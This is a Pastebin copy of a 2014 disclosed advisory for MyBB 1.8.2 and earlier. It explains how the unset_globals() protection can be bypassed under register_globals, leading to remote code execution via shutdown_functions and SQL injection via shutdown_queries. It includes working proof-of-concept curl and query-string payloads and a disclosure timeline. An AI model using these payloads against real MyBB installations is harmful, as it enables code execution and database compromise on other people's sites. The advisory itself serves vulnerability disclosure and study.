Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote
- Code Execution Vulnerability
- # Date: 2014-11-21
- # Exploit Author: Taoguang Chen
- # Vendor Homepage: twitter.com/chtg57
- # Software Link: www.mybb.com
- # Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15
- MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability.
- Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e
- #MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability
- Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06
- > MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.
- ##I. MyBB's unset_globals() Function Bypass
- When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST
- ```
- if(@ini_get("register_globals") == 1)
- {
- $this->unset_globals($_POST);
- $this->unset_globals($_GET);
- $this->unset_globals($_FILES);
- $this->unset_globals($_COOKIE);
- }
- ...
- }
- ...
- function unset_globals($array)
- {
- if(!is_array($array))
- {
- return;
- }
- foreach(array_keys($array) as $key)
- {
- unset($GLOBALS[$key]);
- unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
- }
- }
- ```
- But unset\_globals() function can be bypassed.
- ###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed
- ```
- foo.php?_COOKIE=1
- // $_GET['_COOKIE']
- ```
- When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE'].
- ```
- $this->unset_globals($_GET);
- ...
- }
- ...
- function unset_globals($array)
- {
- ...
- foreach(array_keys($array) as $key)
- {
- unset($GLOBALS[$key]);
- ```
- This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed beca
- ```
- $this->unset_globals($_COOKIE);
- }
- ...
- }
- ...
- function unset_globals($array)
- {
- if(!is_array($array))
- {
- return;
- }
- ```
- By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not
- ###ii) $GLOBALS Array was Destroyed
- ```
- foo.php?GLOBALS=1
- // $_GET['GLOBALS']
- ```
- When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed.
- $GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global
- By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array,
- In fact, MyBB is already aware of the problem:
- ```
- $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
- foreach($protected as $var)
- {
- if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
- {
- die("Hacking attempt");
- }
- }
- ```
- Unfortunately, there is a small hole yet:-)
- $\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data.
- But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array.
- ```
- request_order = "GP"
- ```
- This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COO
- So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3.
- ##II. Remote Code Execution Vulnerability
- There is one interesting method in MyBB:
- ```
- class MyBB {
- ...
- function __destruct()
- {
- // Run shutdown function
- if(function_exists("run_shutdown"))
- {
- run_shutdown();
- }
- }
- }
- ```
- Look into run\_shutdown() function:
- ```
- function run_shutdown()
- {
- global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
- ...
- // Run any shutdown functions if we have them
- if(is_array($shutdown_functions))
- {
- foreach($shutdown_functions as $function)
- {
- call_user_func_array($function['function'], $function['arguments']);
- }
- }
- $done_shutdown = true;
- }
- ```
- The $shutdown\_functions was initialized via add\_shutdown() function in init.php:
- ```
- // Set up any shutdown functions we need to run globally
- add_shutdown('send_mail_queue');
- ```
- But add\_shutdown() function initialization handler is wrong:
- ```
- function add_shutdown($name, $arguments=array())
- {
- global $shutdown_functions;
- if(!is_array($shutdown_functions))
- {
- $shutdown_functions = array();
- }
- if(!is_array($arguments))
- {
- $arguments = array($arguments);
- }
- if(is_array($name) && method_exists($name[0], $name[1]))
- {
- $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
- return true;
- }
- else if(!is_array($name) && function_exists($name))
- {
- $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
- return true;
- }
- return false;
- }
- ```
- In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result
- ##III. Proof of Concept
- When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line:
- ```
- $ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/
- ```
- ##IV. P.S.I
- **Another case to exploit the vulnerability:**
- When PHP's "disable\_functions" configuration directive disable ini\_get() function:
- ```
- disable_functions = ini_get
- ```
- The unset\_globals() function will not be called that regardless of register\_globals set on or off.
- ```
- if(@ini_get("register_globals") == 1)
- {
- $this->unset_globals($_POST);
- $this->unset_globals($_GET);
- $this->unset_globals($_FILES);
- $this->unset_globals($_COOKIE);
- }
- ```
- **Proof of Concept**
- Works on disable\_functions = ini\_get and register\_globals = On:
- ```
- index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
- ```
- ##V. P.S.II
- **SQL injection vulnerability via run\_shutdown() function**
- ```
- function run_shutdown()
- {
- global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
- ...
- // We have some shutdown queries needing to be run
- if(is_array($shutdown_queries))
- {
- // Loop through and run them all
- foreach($shutdown_queries as $query)
- {
- $db->query($query);
- }
- }
- ```
- The $shutdown\_queries was initialized in global.php:
- ```
- $shutdown_queries = array();
- ```
- But not all files are included global.php, such as css.php:
- ```
- require_once "./inc/init.php";
- ```
- There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability.
- **Proof of Concept**
- Works on request\_order = "GP" and register\_globals = On:
- ```
- $ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
- ```
- Works on disable\_functions = ini\_get and register\_globals = On:
- ```
- css.php?shutdown_queries[]=SQL_Inj
- ```
- ##VI. Disclosure Timeline
- * 2014.03.06 - Notified the MyBB devs via security contact form
- * 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply
- * 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16
- * 2014.11.21 - Public Disclosure
Advertisement
Add Comment
Please, Sign In to add comment